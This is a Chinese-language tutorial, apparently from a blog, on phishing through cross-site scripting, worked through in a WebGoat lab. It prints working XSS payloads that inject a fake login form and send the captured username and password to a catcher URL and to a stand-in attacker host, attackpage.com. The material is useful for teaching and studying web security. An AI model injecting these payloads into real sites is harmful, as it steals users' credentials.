XSS钓鱼(攻击方法)
首先,来认识什么是钓鱼。如果用户在A网站(正常网站)浏览页面。但是有人在A网站上注入了恶意代码,改变了A网站的布局,将用户原本发送给服务器A的request返回到另一台服务器B(恶意网站)。换句话说,就是B以A为载体,盗取别人信息。
好,废话不多说,攻击如下
第一步,下面看一段常见的代码:
<form> <br>Enter Username:<br> <input type="text" id="user" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> </form>
若把以上代码保存为.html,效果是这样的
第二步:添加一个功能,获取UserName和PassWord的值,将值发送到http://localhost:8080/webgoat/catcher?property=yes 将该方法命名为hack( ).
假设localhost:8080是B服务器(攻击者),通过下面链接测试,B服务器能否捕获到数据
http://localhost:8080/webgoat/catcher?property=yes&user="123"&password="123"
<script> function hack() { alert("User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src=" http://localhost:8080/webgoat/catcher?property=yes&user="+ document.forms[0].user.value + "&password=" + document.forms [0].pass.value + "";} </script>
第三步:添加一个按钮,触发hack( )方法把以上代码组合起来。
<script> function hack() { alert("User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src=" http://localhost:8080/webgoat/catcher?property=yes&user="+ document.forms[0].user.value + "&password=" + document.forms [0].pass.value + "";} </script> <form> <br>Enter Username:<br> <input type="text" id="user" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <input type="submit" name="login" value="login" onclick="hack()"> </form>
现在,下面的例子是一个正常页面A网站的搜索功能,存在XSS的漏洞。我们将第三步的代码注入。
点击search按钮,界面变成如下,多了一个登录界面。这样,如果用户在该登录界面输入用户名和密码,信息就会发送到B服务器,即http://localhost:8080/webgoat/catcher?property=yes
好,我们测试一下,输入 lilingkong/test 点击login按钮
在localhost:8080上捕获信息
【 所谓钓鱼攻击就是构建一个钓鱼页面,诱骗受害者在其中输入一些敏感信息,然后将其发送给攻击者。利用XSS的注入脚本,我们也可以很方便地注入钓鱼页面的代码,从而引导钓鱼攻击。比如下面这样一段代码:
<script> function hack() { location.replace(“http://www.attackpage.com/record.asp?username=“ +document.forms[0].user.value + “password=“ + document.forms[0].pass.value); } </script> <form> <br><br><HR><H3>这个功能需要登录:</H3 > <br><br>请输入用户名:<br> <input type="text" id="user" name="user"> <br>请输入密码:<br> <input type="password" name ="pass"> <br> <input type="submit" name="login" value=" login" onclick="hack()"> </form>
注入上面的代码后,则会在原来的页面上,插入一段表单,要求用户输入自己的用户名和密码,而当用户点击”登录” 按钮后,则会执行hack()函数,将用户的输入发送到攻击者指定的网站上去。这样,攻击者就成功窃取了该用户的账号信息。可以看到,和一般的钓鱼攻击不 同,XSS引导的钓鱼攻击由于是对用户信任的网站页面进行修改,因此隐蔽性很高,而用户的账号失窃往往会带来重大的损失,因此它的危害也是十分巨大的。】
浙公网安备 33010602011771号